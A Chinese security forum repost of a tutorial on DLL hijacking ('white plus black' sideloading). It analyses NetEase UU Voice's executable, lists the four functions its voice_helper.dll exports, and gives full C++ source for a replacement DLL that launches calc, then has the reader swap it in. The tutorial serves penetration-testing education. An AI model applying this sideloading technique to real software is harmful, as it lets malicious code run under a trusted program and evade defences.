安全矩阵

 找回密码
 立即注册
搜索
查看: 2955|回复: 0

dll劫持从0到1-篇3(实战中白加黑的快速探寻)

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-8-15 11:59:40 | 显示全部楼层 |阅读模式
dll劫持从0到1-篇3(实战中白加黑的快速探寻)原创 一只猕桃猴 [url=]雷神众测[/url] 3天前

STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


NO.1 分析可执行文件
目的是要找到一个白程序,然后我们用黑dll去劫持它。

首先是分析可执行文件,包括有没有壳,包括什么语言
https://github.com/horsicq/DIE-engine/releases
来测一下最新版本的网易UU语音

可以看出是c/c++编写,并且没加壳子 x64位
使用api-monitor(注意这里是64位的) ,跟一下loadlibrary等一些函数

在api-monitor打开UUVoice.exe
尽量不去找Know DLLs中的dll,这里其实讲的就是之前写过的 “劫持存在的dll”

注意看 loadlibrary返回的句柄值 可以知道主程序调用了四个导出函数



NO.2 编写恶意dll
根据他调用的导出函数 直接去vs2019创建一个dll工程,写一个新dll(我们先尝试不转发,看看能不能成功,如果不行就要转发 加载正常的dll)


  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. // 头文件
  3. # include <Windows.h>
  4. # include "pch.h"
  5. # include <stdlib.h>


  6. extern "C" __declspec(dllexport) void RegisterHookListener();
  7. extern "C" __declspec(dllexport) void RemoveAllListeners();
  8. extern "C" __declspec(dllexport) void StartHelperService();
  9. extern "C" __declspec(dllexport) void StopHelperService();


  10. void RegisterHookListener()
  11. {
  12.     system("calc");
  13. }

  14. void RemoveAllListeners()
  15. {
  16. }

  17. void StartHelperService()
  18. {
  19. }


  20. void StopHelperService()
  21. {
  22. }



  23. BOOL APIENTRY DllMain(HMODULE hModule,
  24.     DWORD  ul_reason_for_call,
  25.     LPVOID lpReserved
  26. )
  27. {
  28.     switch (ul_reason_for_call)
  29.     {
  30.     case DLL_PROCESS_ATTACH:   //DLL进程装载
  31.     case DLL_THREAD_ATTACH:    //DLL线程装载   
  32.     case DLL_THREAD_DETACH:    //DLL线程卸载
  33.     case DLL_PROCESS_DETACH:   //DLL进程卸载
  34.         break;
  35.     }
  36.     return TRUE;
  37. }
复制代码
NO.3 运行
将此dll改名为voice_helper.dll 并将之前程序原本的voice_helper.dll替换掉。
然后运行UUVoice.exe




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:48 , Processed in 0.012995 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表